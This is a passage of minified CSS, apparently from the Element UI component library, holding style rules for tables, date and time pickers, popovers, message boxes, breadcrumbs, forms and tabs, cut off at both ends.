td.gutter{width:15px;border-right-width:0;border-bottom-width:0;padding:0;}.el-table th.is-hidden > *,.el-table td.is-hidden > *{visibility:hidden;}.el-table--medium th,.el-table--medium td{padding:10px 0;}.el-table--small{font-size:12px;}.el-table--small th,.el-table--small td{padding:8px 0;}.el-table--mini{font-size:12px;}.el-table--mini th,.el-table--mini td{padding:6px 0;}.el-table tr{background-color:#fff;}.el-table tr input[type=\"checkbox\"]{margin:0;}.el-table th.is-leaf,.el-table td{border-bottom:1px solid #ebeef5;}.el-table th.is-sortable{cursor:pointer;}.el-table th{white-space:nowrap;overflow:hidden;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;text-align:left;background-color:#fff;}.el-table th div{display:inline-block;padding-left:10px;padding-right:10px;line-height:40px;-webkit-box-sizing:border-box;box-sizing:border-box;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.el-table th > .cell{position:relative;word-wrap:normal;text-overflow:ellipsis;display:inline-block;vertical-align:middle;width:100%;-webkit-box-sizing:border-box;box-sizing:border-box;}.el-table th > .cell.highlight{color:#387ef5;}.el-table th.required > div::before{display:inline-block;width:8px;height:8px;border-radius:50%;background:#ff4d51;margin-right:5px;vertical-align:middle;}.el-table td div{-webkit-box-sizing:border-box;box-sizing:border-box;}.el-table td.gutter{width:0;}.el-table .cell{-webkit-box-sizing:border-box;box-sizing:border-box;overflow:hidden;text-overflow:ellipsis;white-space:normal;word-break:break-all;line-height:23px;padding-left:10px;padding-right:10px;}.el-table .cell.el-tooltip{white-space:nowrap;min-width:50px;}.el-table--group,.el-table--border{border:1px solid #ebeef5;}.el-table--group::after,.el-table--border::after,.el-table::before{position:absolute;background-color:#ebeef5;z-index:1;}.el-table--group::after,.el-table--border::after{top:0;right:0;width:1px;height:100%;}.el-table::before{left:0;bottom:0;width:100%;height:1px;}.el-table--border{border-right:none;border-bottom:none;}.el-table--border.el-loading-parent--relative{border-color:transparent;}.el-table--border th,.el-table--border td{border-right:1px solid #ebeef5;}.el-table--border th:first-child .cell,.el-table--border td:first-child .cell{padding-left:10px;}.el-table--border th.gutter:last-of-type{border-bottom:1px solid #ebeef5;border-bottom-width:1px;}.el-table--border th{border-bottom:1px solid #ebeef5;}.el-table--hidden{visibility:hidden;}.el-table__fixed,.el-table__fixed-right{position:absolute;top:0;left:0;overflow-x:hidden;overflow-y:hidden;-webkit-box-shadow:0 0 10px rgba(0,0,0,0.12);box-shadow:0 0 10px rgba(0,0,0,0.12);}.el-table__fixed::before,.el-table__fixed-right::before{position:absolute;left:0;bottom:0;width:100%;height:1px;background-color:#ebeef5;z-index:4;}.el-table__fixed-right-patch{position:absolute;top:-1px;right:0;background-color:#fff;border-bottom:1px solid #ebeef5;}.el-table__fixed-right{top:0;left:auto;right:0;}.el-table__fixed-right .el-table__fixed-header-wrapper,.el-table__fixed-right .el-table__fixed-body-wrapper,.el-table__fixed-right .el-table__fixed-footer-wrapper{left:auto;right:0;}.el-table__fixed-header-wrapper{position:absolute;left:0;top:0;z-index:3;}.el-table__fixed-footer-wrapper{position:absolute;left:0;bottom:0;z-index:3;}.el-table__fixed-footer-wrapper tbody td{border-top:1px solid #ebeef5;background-color:#f5f7fa;color:#606266;}.el-table__fixed-body-wrapper{position:absolute;left:0;top:37px;overflow:hidden;z-index:3;}.el-table__header-wrapper,.el-table__body-wrapper,.el-table__footer-wrapper{width:100%;}.el-table__footer-wrapper{margin-top:-1px;}.el-table__footer-wrapper td{border-top:1px solid #ebeef5;}.el-table__header,.el-table__body,.el-table__footer{table-layout:fixed;border-collapse:separate;}.el-table__header-wrapper,.el-table__footer-wrapper{overflow:hidden;}.el-table__header-wrapper tbody td,.el-table__footer-wrapper tbody td{background-color:#f5f7fa;color:#606266;}.el-table__body-wrapper{overflow:hidden;position:relative;}.el-table__body-wrapper.is-scrolling-none ~ .el-table__fixed,.el-table__body-wrapper.is-scrolling-none ~ .el-table__fixed-right{-webkit-box-shadow:none;box-shadow:none;}.el-table__body-wrapper.is-scrolling-left ~ .el-table__fixed{-webkit-box-shadow:none;box-shadow:none;}.el-table__body-wrapper.is-scrolling-right ~ .el-table__fixed-right{-webkit-box-shadow:none;box-shadow:none;}.el-table__body-wrapper .el-table--border.is-scrolling-right ~ .el-table__fixed-right{border-left:1px solid #ebeef5;}.el-table__body-wrapper .el-table--border.is-scrolling-left ~ .el-table__fixed{border-right:1px solid #ebeef5;}.el-table .caret-wrapper{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:center;-ms-flex-align:center;align-items:center;height:34px;width:24px;vertical-align:middle;cursor:pointer;overflow:initial;position:relative;}.el-table .sort-caret{width:0;height:0;border:solid 5px transparent;position:absolute;left:7px;}.el-table .sort-caret.ascending{border-bottom-color:#c0c4cc;top:5px;}.el-table .sort-caret.descending{border-top-color:#c0c4cc;bottom:7px;}.el-table .ascending .sort-caret.ascending{border-bottom-color:#387ef5;}.el-table .descending .sort-caret.descending{border-top-color:#387ef5;}.el-table .hidden-columns{visibility:hidden;position:absolute;z-index:-1;}.el-table--striped .el-table__body tr.el-table__row--striped td{background:#FAFAFA;}.el-table--striped .el-table__body tr.el-table__row--striped.current-row td{background-color:#ebf2fe;}.el-table__body tr.hover-row > td,.el-table__body tr.hover-row.current-row > td,.el-table__body tr.hover-row.el-table__row--striped > td,.el-table__body tr.hover-row.el-table__row--striped.current-row > td{background-color:#ebf2fe;}.el-table__body tr.current-row > td{background-color:#ebf2fe;}.el-table__column-resize-proxy{position:absolute;left:200px;top:0;bottom:0;width:0;border-left:1px solid #ebeef5;z-index:10;}.el-table__column-filter-trigger{display:inline-block;line-height:34px;cursor:pointer;}.el-table__column-filter-trigger i{color:#909399;font-size:12px;-webkit-transform:scale(0.75);transform:scale(0.75);}.el-table--enable-row-transition .el-table__body td{-webkit-transition:background-color .25s ease;transition:background-color .25s ease;}.el-table--enable-row-hover .el-table__body tr:hover > td{background-color:#f5f7fa;}.el-table--fluid-height .el-table__fixed,.el-table--fluid-height .el-table__fixed-right{bottom:0;overflow:hidden;}.el-table-column--selection .cell{padding-left:14px;padding-right:14px;}.el-table-filter{border:solid 1px #ebeef5;border-radius:2px;background-color:#fff;-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);-webkit-box-sizing:border-box;box-sizing:border-box;margin:2px 0;}.el-table-filter__list{padding:5px 0;margin:0;list-style:none;min-width:100px;}.el-table-filter__list-item{line-height:36px;padding:0 10px;cursor:pointer;font-size:14px;}.el-table-filter__list-item:hover{background-color:#ebf2fe;color:#6098f7;}.el-table-filter__list-item.is-active{background-color:#387ef5;color:#fff;}.el-table-filter__content{min-width:100px;}.el-table-filter__bottom{border-top:1px solid #ebeef5;padding:8px;}.el-table-filter__bottom button{background:transparent;border:none;color:#606266;cursor:pointer;font-size:13px;padding:0 3px;}.el-table-filter__bottom button:hover{color:#387ef5;}.el-table-filter__bottom button:focus{outline:none;}.el-table-filter__bottom button.is-disabled{color:#c0c4cc;cursor:not-allowed;}.el-table-filter__wrap{max-height:280px;}.el-table-filter__checkbox-group{padding:10px;}.el-table-filter__checkbox-group label.el-checkbox{display:block;margin-right:5px;margin-bottom:8px;margin-left:5px;}.el-table-filter__checkbox-group .el-checkbox:last-child{margin-bottom:0;}.el-date-table{font-size:12px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;}.el-date-table.is-week-mode .el-date-table__row:hover div{background-color:#f2f6fc;}.el-date-table.is-week-mode .el-date-table__row:hover td.available:hover{color:#606266;}.el-date-table.is-week-mode .el-date-table__row:hover td:first-child div{margin-left:5px;border-top-left-radius:15px;border-bottom-left-radius:15px;}.el-date-table.is-week-mode .el-date-table__row:hover td:last-child div{margin-right:5px;border-top-right-radius:15px;border-bottom-right-radius:15px;}.el-date-table.is-week-mode .el-date-table__row.current div{background-color:#f2f6fc;}.el-date-table td{width:32px;height:30px;padding:4px 0;-webkit-box-sizing:border-box;box-sizing:border-box;text-align:center;cursor:pointer;position:relative;}.el-date-table td div{height:30px;padding:3px 0;-webkit-box-sizing:border-box;box-sizing:border-box;}.el-date-table td span{width:24px;height:24px;display:block;margin:0 auto;line-height:24px;position:absolute;left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%);border-radius:50%;}.el-date-table td.next-month,.el-date-table td.prev-month{color:#c0c4cc;}.el-date-table td.today{position:relative;}.el-date-table td.today span{color:#387ef5;font-weight:bold;}.el-date-table td.today.start-date span,.el-date-table td.today.end-date span{color:#fff;}.el-date-table td.available:hover{color:#387ef5;}.el-date-table td.in-range div{background-color:#f2f6fc;}.el-date-table td.in-range div:hover{background-color:#f2f6fc;}.el-date-table td.current:not(.disabled) span{color:#fff;background-color:#387ef5;}.el-date-table td.start-date div,.el-date-table td.end-date div{color:#fff;}.el-date-table td.start-date span,.el-date-table td.end-date span{background-color:#387ef5;}.el-date-table td.start-date div{margin-left:5px;border-top-left-radius:15px;border-bottom-left-radius:15px;}.el-date-table td.end-date div{margin-right:5px;border-top-right-radius:15px;border-bottom-right-radius:15px;}.el-date-table td.disabled div{background-color:#f5f7fa;opacity:1;cursor:not-allowed;color:#c0c4cc;}.el-date-table td.selected div{margin-left:5px;margin-right:5px;background-color:#f2f6fc;border-radius:15px;}.el-date-table td.selected div:hover{background-color:#f2f6fc;}.el-date-table td.selected span{background-color:#387ef5;color:#fff;border-radius:15px;}.el-date-table td.week{font-size:80%;color:#606266;}.el-date-table th{padding:5px;color:#606266;font-weight:400;border-bottom:solid 1px #ebeef5;}.el-month-table{font-size:12px;margin:-1px;border-collapse:collapse;}.el-month-table td{text-align:center;padding:20px 3px;cursor:pointer;}.el-month-table td.disabled .cell{background-color:#f5f7fa;cursor:not-allowed;color:#c0c4cc;}.el-month-table td.disabled .cell:hover{color:#c0c4cc;}.el-month-table td .cell{width:48px;height:32px;display:block;line-height:32px;color:#606266;margin:0 auto;}.el-month-table td .cell:hover{color:#387ef5;}.el-month-table td.current:not(.disabled) .cell{color:#387ef5;}.el-year-table{font-size:12px;margin:-1px;border-collapse:collapse;}.el-year-table .el-icon{color:#303133;}.el-year-table td{text-align:center;padding:20px 3px;cursor:pointer;}.el-year-table td.disabled .cell{background-color:#f5f7fa;cursor:not-allowed;color:#c0c4cc;}.el-year-table td.disabled .cell:hover{color:#c0c4cc;}.el-year-table td .cell{width:48px;height:32px;display:block;line-height:32px;color:#606266;margin:0 auto;}.el-year-table td .cell:hover{color:#387ef5;}.el-year-table td.current:not(.disabled) .cell{color:#387ef5;}.el-time-spinner.has-seconds .el-time-spinner__wrapper{width:33.3%;}.el-time-spinner__wrapper{max-height:190px;overflow:auto;display:inline-block;width:50%;vertical-align:top;position:relative;}.el-time-spinner__wrapper .el-scrollbar__wrap:not(.el-scrollbar__wrap--hidden-default){padding-bottom:15px;}.el-time-spinner__wrapper.is-arrow{-webkit-box-sizing:border-box;box-sizing:border-box;text-align:center;overflow:hidden;}.el-time-spinner__wrapper.is-arrow .el-time-spinner__list{-webkit-transform:translateY(-32px);transform:translateY(-32px);}.el-time-spinner__wrapper.is-arrow .el-time-spinner__item:hover:not(.disabled):not(.active){background:#fff;cursor:default;}.el-time-spinner__arrow{font-size:12px;color:#909399;position:absolute;left:0;width:100%;z-index:1;text-align:center;height:30px;line-height:30px;cursor:pointer;}.el-time-spinner__arrow:hover{color:#387ef5;}.el-time-spinner__arrow.el-icon-arrow-up{top:10px;}.el-time-spinner__arrow.el-icon-arrow-down{bottom:10px;}.el-time-spinner__input.el-input{width:70%;}.el-time-spinner__input.el-input .el-input__inner{padding:0;text-align:center;}.el-time-spinner__list{padding:0;margin:0;list-style:none;text-align:center;}.el-time-spinner__list::after,.el-time-spinner__list::before{display:block;width:100%;height:80px;}.el-time-spinner__item{height:32px;line-height:32px;font-size:12px;color:#606266;}.el-time-spinner__item:hover:not(.disabled):not(.active){background:#f5f7fa;cursor:pointer;}.el-time-spinner__item.active:not(.disabled){color:#303133;font-weight:bold;}.el-time-spinner__item.disabled{color:#c0c4cc;cursor:not-allowed;}.el-date-editor{position:relative;display:inline-block;text-align:left;}.el-date-editor.el-input,.el-date-editor.el-input__inner{width:220px;}.el-date-editor--daterange.el-input,.el-date-editor--daterange.el-input__inner,.el-date-editor--timerange.el-input,.el-date-editor--timerange.el-input__inner{width:350px;}.el-date-editor--datetimerange.el-input,.el-date-editor--datetimerange.el-input__inner{width:400px;}.el-date-editor--dates .el-input__inner{text-overflow:ellipsis;white-space:nowrap;}.el-date-editor .el-icon-circle-close{cursor:pointer;}.el-date-editor .el-range__icon{font-size:14px;margin-left:-5px;color:#c0c4cc;float:left;line-height:32px;}.el-date-editor .el-range-input{-webkit-appearance:none;-moz-appearance:none;appearance:none;border:none;outline:none;display:inline-block;height:100%;margin:0;padding:0;width:39%;text-align:center;font-size:14px;color:#606266;}.el-date-editor .el-range-input::-webkit-input-placeholder{color:#c0c4cc;}.el-date-editor .el-range-input:-ms-input-placeholder{color:#c0c4cc;}.el-date-editor .el-range-input::-ms-input-placeholder{color:#c0c4cc;}.el-date-editor .el-range-input::placeholder{color:#c0c4cc;}.el-date-editor .el-range-separator{display:inline-block;height:100%;padding:0 5px;margin:0;text-align:center;line-height:32px;font-size:14px;width:5%;color:#303133;}.el-date-editor .el-range__close-icon{font-size:14px;color:#c0c4cc;width:25px;display:inline-block;float:right;line-height:32px;}.el-range-editor.el-input__inner{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding:3px 10px;}.el-range-editor .el-range-input{line-height:1;}.el-range-editor.is-active{border-color:#387ef5;}.el-range-editor.is-active:hover{border-color:#387ef5;}.el-range-editor--medium.el-input__inner{height:36px;}.el-range-editor--medium .el-range-separator{line-height:28px;font-size:14px;}.el-range-editor--medium .el-range-input{font-size:14px;}.el-range-editor--medium .el-range__icon,.el-range-editor--medium .el-range__close-icon{line-height:28px;}.el-range-editor--small.el-input__inner{height:32px;}.el-range-editor--small .el-range-separator{line-height:24px;font-size:13px;}.el-range-editor--small .el-range-input{font-size:13px;}.el-range-editor--small .el-range__icon,.el-range-editor--small .el-range__close-icon{line-height:24px;}.el-range-editor--mini.el-input__inner{height:28px;}.el-range-editor--mini .el-range-separator{line-height:20px;font-size:12px;}.el-range-editor--mini .el-range-input{font-size:12px;}.el-range-editor--mini .el-range__icon,.el-range-editor--mini .el-range__close-icon{line-height:20px;}.el-range-editor.is-disabled{background-color:#f5f7fa;border-color:#e4e7ed;color:#c0c4cc;cursor:not-allowed;}.el-range-editor.is-disabled:hover,.el-range-editor.is-disabled:focus{border-color:#e4e7ed;}.el-range-editor.is-disabled input{background-color:#f5f7fa;color:#c0c4cc;cursor:not-allowed;}.el-range-editor.is-disabled input::-webkit-input-placeholder{color:#c0c4cc;}.el-range-editor.is-disabled input:-ms-input-placeholder{color:#c0c4cc;}.el-range-editor.is-disabled input::-ms-input-placeholder{color:#c0c4cc;}.el-range-editor.is-disabled input::placeholder{color:#c0c4cc;}.el-range-editor.is-disabled .el-range-separator{color:#c0c4cc;}.el-picker-panel{color:#606266;border:1px solid #e4e7ed;-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);background:#fff;border-radius:4px;line-height:30px;margin:5px 0;}.el-picker-panel__body::after,.el-picker-panel__body-wrapper::after{;display:table;clear:both;}.el-picker-panel__content{position:relative;margin:15px;}.el-picker-panel__footer{border-top:1px solid #e4e4e4;padding:4px;text-align:right;background-color:#fff;position:relative;font-size:0;}.el-picker-panel__shortcut{display:block;width:100%;border:0;background-color:transparent;line-height:28px;font-size:14px;color:#606266;padding-left:12px;text-align:left;outline:none;cursor:pointer;}.el-picker-panel__shortcut:hover{color:#387ef5;}.el-picker-panel__shortcut.active{background-color:#e6f1fe;color:#387ef5;}.el-picker-panel__btn{border:1px solid #dcdcdc;color:#333;line-height:24px;border-radius:2px;padding:0 20px;cursor:pointer;background-color:transparent;outline:none;font-size:12px;}.el-picker-panel__btn[disabled]{color:#cccccc;cursor:not-allowed;}.el-picker-panel__icon-btn{font-size:12px;color:#303133;border:0;background:transparent;cursor:pointer;outline:none;margin-top:8px;}.el-picker-panel__icon-btn:hover{color:#387ef5;}.el-picker-panel__icon-btn.is-disabled{color:#bbb;}.el-picker-panel__icon-btn.is-disabled:hover{cursor:not-allowed;}.el-picker-panel__link-btn{vertical-align:middle;}.el-picker-panel *[slot=sidebar],.el-picker-panel__sidebar{position:absolute;top:0;bottom:0;width:110px;border-right:1px solid #e4e4e4;-webkit-box-sizing:border-box;box-sizing:border-box;padding-top:6px;background-color:#fff;overflow:auto;}.el-picker-panel *[slot=sidebar] + .el-picker-panel__body,.el-picker-panel__sidebar + .el-picker-panel__body{margin-left:110px;}.el-date-picker{width:322px;}.el-date-picker.has-sidebar.has-time{width:434px;}.el-date-picker.has-sidebar{width:438px;}.el-date-picker.has-time .el-picker-panel__body-wrapper{position:relative;}.el-date-picker .el-picker-panel__content{width:292px;}.el-date-picker table{table-layout:fixed;width:100%;}.el-date-picker__editor-wrap{position:relative;display:table-cell;padding:0 5px;}.el-date-picker__time-header{position:relative;border-bottom:1px solid #e4e4e4;font-size:12px;padding:8px 5px 5px 5px;display:table;width:100%;-webkit-box-sizing:border-box;box-sizing:border-box;}.el-date-picker__header{margin:12px;text-align:center;}.el-date-picker__header--bordered{margin-bottom:0;padding-bottom:12px;border-bottom:solid 1px #ebeef5;}.el-date-picker__header--bordered + .el-picker-panel__content{margin-top:0;}.el-date-picker__header-label{font-size:16px;font-weight:500;padding:0 5px;line-height:22px;text-align:center;cursor:pointer;color:#606266;}.el-date-picker__header-label:hover{color:#387ef5;}.el-date-picker__header-label.active{color:#387ef5;}.el-date-picker__prev-btn{float:left;}.el-date-picker__next-btn{float:right;}.el-date-picker__time-wrap{padding:10px;text-align:center;}.el-date-picker__time-label{float:left;cursor:pointer;line-height:30px;margin-left:10px;}.el-date-range-picker{width:646px;}.el-date-range-picker.has-sidebar{width:756px;}.el-date-range-picker table{table-layout:fixed;width:100%;}.el-date-range-picker .el-picker-panel__body{min-width:513px;}.el-date-range-picker .el-picker-panel__content{margin:0;}.el-date-range-picker__header{position:relative;text-align:center;height:28px;}.el-date-range-picker__header [class*=arrow-left]{float:left;}.el-date-range-picker__header [class*=arrow-right]{float:right;}.el-date-range-picker__header div{font-size:16px;font-weight:500;margin-right:50px;}.el-date-range-picker__content{float:left;width:50%;-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;padding:16px;}.el-date-range-picker__content.is-left{border-right:1px solid #e4e4e4;}.el-date-range-picker__content.is-right .el-date-range-picker__header div{margin-left:50px;margin-right:50px;}.el-date-range-picker__editors-wrap{-webkit-box-sizing:border-box;box-sizing:border-box;display:table-cell;}.el-date-range-picker__editors-wrap.is-right{text-align:right;}.el-date-range-picker__time-header{position:relative;border-bottom:1px solid #e4e4e4;font-size:12px;padding:8px 5px 5px 5px;display:table;width:100%;-webkit-box-sizing:border-box;box-sizing:border-box;}.el-date-range-picker__time-header > .el-icon-arrow-right{font-size:20px;vertical-align:middle;display:table-cell;color:#303133;}.el-date-range-picker__time-picker-wrap{position:relative;display:table-cell;padding:0 5px;}.el-date-range-picker__time-picker-wrap .el-picker-panel{position:absolute;top:13px;right:0;z-index:1;background:#fff;}.el-time-range-picker{width:354px;overflow:visible;}.el-time-range-picker__content{position:relative;text-align:center;padding:10px;}.el-time-range-picker__cell{-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;padding:4px 7px 7px;width:50%;display:inline-block;}.el-time-range-picker__header{margin-bottom:5px;text-align:center;font-size:14px;}.el-time-range-picker__body{border-radius:2px;border:1px solid #e4e7ed;}.el-time-panel{margin:5px 0;border:solid 1px #e4e7ed;background-color:#fff;-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);border-radius:2px;position:absolute;width:180px;left:0;z-index:1000;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;}.el-time-panel__content{font-size:0;position:relative;overflow:hidden;}.el-time-panel__content::after,.el-time-panel__content::before{;top:50%;position:absolute;margin-top:-15px;height:32px;z-index:-1;left:0;right:0;-webkit-box-sizing:border-box;box-sizing:border-box;padding-top:6px;text-align:left;border-top:1px solid #e4e7ed;border-bottom:1px solid #e4e7ed;}.el-time-panel__content::after{left:50%;margin-left:12%;margin-right:12%;}.el-time-panel__content::before{padding-left:50%;margin-right:12%;margin-left:12%;}.el-time-panel__content.has-seconds::after{left:calc(100% / 3 * 2);}.el-time-panel__content.has-seconds::before{padding-left:calc(100% / 3);}.el-time-panel__footer{border-top:1px solid #e4e4e4;padding:4px;height:36px;line-height:25px;text-align:right;-webkit-box-sizing:border-box;box-sizing:border-box;}.el-time-panel__btn{border:none;line-height:28px;padding:0 5px;margin:0 5px;cursor:pointer;background-color:transparent;outline:none;font-size:12px;color:#303133;}.el-time-panel__btn.confirm{font-weight:800;color:#387ef5;}.time-select{margin:5px 0;min-width:0;}.time-select .el-picker-panel__content{max-height:200px;margin:0;}.time-select-item{padding:8px 10px;font-size:14px;line-height:20px;}.time-select-item.selected:not(.disabled){color:#387ef5;font-weight:bold;}.time-select-item.disabled{color:#e4e7ed;cursor:not-allowed;}.time-select-item:hover{background-color:#f5f7fa;font-weight:bold;cursor:pointer;}.el-popover{position:absolute;background:#fff;min-width:150px;border-radius:4px;border:1px solid #ebeef5;padding:12px;z-index:2000;color:#606266;line-height:1.4;text-align:justify;font-size:14px;-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);}.el-popover--plain{padding:18px 20px;}.el-popover__title{color:#303133;font-size:16px;line-height:1;margin-bottom:12px;}.el-popover__reference:focus:not(.focusing),.el-popover__reference:focus:hover{outline-width:0;}.el-popover:focus:active,.el-popover:focus{outline-width:0;}.el-message-box{display:inline-block;width:420px;padding-bottom:10px;vertical-align:middle;background-color:#fff;border-radius:4px;border:1px solid #ebeef5;font-size:18px;-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);text-align:left;overflow:hidden;-webkit-backface-visibility:hidden;backface-visibility:hidden;}.el-message-box__wrapper{position:fixed;top:0;bottom:0;left:0;right:0;text-align:center;}.el-message-box__wrapper::after{;display:inline-block;height:100%;width:0;vertical-align:middle;}.el-message-box__header{position:relative;padding:15px;padding-bottom:10px;}.el-message-box__title{padding-left:0;margin-bottom:0;font-size:18px;line-height:1;color:#303133;}.el-message-box__headerbtn{position:absolute;top:15px;right:15px;padding:0;border:none;outline:none;background:transparent;font-size:16px;cursor:pointer;}.el-message-box__headerbtn .el-message-box__close{color:#909399;}.el-message-box__headerbtn:focus .el-message-box__close,.el-message-box__headerbtn:hover .el-message-box__close{color:#387ef5;}.el-message-box__content{position:relative;padding:10px 15px;color:#606266;font-size:14px;}.el-message-box__input{padding-top:15px;}.el-message-box__input input.invalid{border-color:#f56c6c;}.el-message-box__input input.invalid:focus{border-color:#f56c6c;}.el-message-box__status{position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);font-size:24px !important;}.el-message-box__status::before{padding-left:1px;}.el-message-box__status + .el-message-box__message{padding-left:36px;padding-right:12px;}.el-message-box__status.el-icon-success{color:#67c23a;}.el-message-box__status.el-icon-info{color:#909399;}.el-message-box__status.el-icon-warning{color:#e6a23c;}.el-message-box__status.el-icon-error{color:#f56c6c;}.el-message-box__message{margin:0;}.el-message-box__message p{margin:0;line-height:24px;}.el-message-box__errormsg{color:#f56c6c;font-size:12px;min-height:18px;margin-top:2px;}.el-message-box__btns{padding:5px 15px 0;text-align:right;}.el-message-box__btns button:nth-child(2){margin-left:10px;}.el-message-box__btns-reverse{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;}.el-message-box--center{padding-bottom:30px;}.el-message-box--center .el-message-box__header{padding-top:30px;}.el-message-box--center .el-message-box__title{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}.el-message-box--center .el-message-box__status{position:relative;top:auto;padding-right:5px;text-align:center;-webkit-transform:translateY(-1px);transform:translateY(-1px);}.el-message-box--center .el-message-box__message{margin-left:0;}.el-message-box--center .el-message-box__btns,.el-message-box--center .el-message-box__content{text-align:center;}.el-message-box--center .el-message-box__content{padding-left:27px;padding-right:27px;}.msgbox-fade-enter-active{-webkit-animation:msgbox-fade-in .3s;animation:msgbox-fade-in .3s;}.msgbox-fade-leave-active{-webkit-animation:msgbox-fade-out .3s;animation:msgbox-fade-out .3s;}@-webkit-keyframes msgbox-fade-in{0%{-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0);opacity:0;}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1;}}@keyframes msgbox-fade-in{0%{-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0);opacity:0;}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1;}}@-webkit-keyframes msgbox-fade-out{0%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1;}100%{-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0);opacity:0;}}@keyframes msgbox-fade-out{0%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1;}100%{-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0);opacity:0;}}.el-breadcrumb{font-size:14px;line-height:1;}.el-breadcrumb::before,.el-breadcrumb::after{display:table;}.el-breadcrumb::after{clear:both;}.el-breadcrumb__separator{margin:0 9px;font-weight:bold;color:#c0c4cc;}.el-breadcrumb__separator[class*=icon]{margin:0 6px;font-weight:normal;}.el-breadcrumb__item{float:left;}.el-breadcrumb__inner{color:#606266;}.el-breadcrumb__inner.is-link,.el-breadcrumb__inner a{font-weight:bold;text-decoration:none;-webkit-transition:color 0.2s cubic-bezier(0.645,0.045,0.355,1);transition:color 0.2s cubic-bezier(0.645,0.045,0.355,1);color:#303133;}.el-breadcrumb__inner.is-link:hover,.el-breadcrumb__inner a:hover{color:#387ef5;cursor:pointer;}.el-breadcrumb__item:last-child .el-breadcrumb__inner,.el-breadcrumb__item:last-child .el-breadcrumb__inner:hover,.el-breadcrumb__item:last-child .el-breadcrumb__inner a,.el-breadcrumb__item:last-child .el-breadcrumb__inner a:hover{font-weight:normal;color:#606266;cursor:text;}.el-breadcrumb__item:last-child .el-breadcrumb__separator{display:none;}.el-form--label-left .el-form-item__label{text-align:left;}.el-form--label-top .el-form-item__label{float:none;display:inline-block;text-align:left;padding:0 0 10px 0;}.el-form--inline .el-form-item{display:inline-block;margin-right:10px;vertical-align:top;}.el-form--inline .el-form-item__label{float:none;display:inline-block;}.el-form--inline .el-form-item__content{display:inline-block;vertical-align:top;}.el-form--inline.el-form--label-top .el-form-item__content{display:block;}.el-form-item{margin-bottom:22px;}.el-form-item::before,.el-form-item::after{display:table;}.el-form-item::after{clear:both;}.el-form-item .el-form-item{margin-bottom:0;}.el-form-item .el-input__validateIcon{display:none;}.el-form-item--medium .el-form-item__label{line-height:36px;}.el-form-item--medium .el-form-item__content{line-height:36px;}.el-form-item--small .el-form-item__label{line-height:32px;}.el-form-item--small .el-form-item__content{line-height:32px;}.el-form-item--small.el-form-item{margin-bottom:18px;}.el-form-item--small .el-form-item__error{padding-top:2px;}.el-form-item--mini .el-form-item__label{line-height:28px;}.el-form-item--mini .el-form-item__content{line-height:28px;}.el-form-item--mini.el-form-item{margin-bottom:18px;}.el-form-item--mini .el-form-item__error{padding-top:1px;}.el-form-item__label{text-align:right;vertical-align:middle;float:left;font-size:14px;color:#606266;line-height:40px;padding:0 12px 0 0;-webkit-box-sizing:border-box;box-sizing:border-box;}.el-form-item__content{line-height:40px;position:relative;font-size:14px;}.el-form-item__content::before,.el-form-item__content::after{display:table;}.el-form-item__content::after{clear:both;}.el-form-item__content .el-input-group{vertical-align:middle;}.el-form-item__error{color:#f56c6c;font-size:12px;line-height:1;padding-top:4px;position:absolute;top:100%;left:0;}.el-form-item__error--inline{position:relative;top:auto;left:auto;display:inline-block;margin-left:10px;}.el-form-item.is-required .el-form-item__label:before{content:\"*\";color:#f56c6c;margin-right:4px;}.el-form-item.is-error .el-input__inner,.el-form-item.is-error .el-input__inner:focus,.el-form-item.is-error .el-textarea__inner,.el-form-item.is-error .el-textarea__inner:focus{border-color:#f56c6c;}.el-form-item.is-error .el-input-group__append .el-input__inner,.el-form-item.is-error .el-input-group__prepend .el-input__inner{border-color:transparent;}.el-form-item.is-error .el-input__validateIcon{color:#f56c6c;}.el-form-item.is-success .el-input__inner,.el-form-item.is-success .el-input__inner:focus,.el-form-item.is-success .el-textarea__inner,.el-form-item.is-success .el-textarea__inner:focus{border-color:#67c23a;}.el-form-item.is-success .el-input-group__append .el-input__inner,.el-form-item.is-success .el-input-group__prepend .el-input__inner{border-color:transparent;}.el-form-item.is-success .el-input__validateIcon{color:#67c23a;}.el-form-item--feedback .el-input__validateIcon{display:inline-block;}.el-tabs__header{padding:0;position:relative;margin:0 0 15px;}.el-tabs__active-bar{position:absolute;bottom:0;left:0;height:2px;background-color:#387ef5;z-index:1;-webkit-transition:-webkit-transform 0.3s 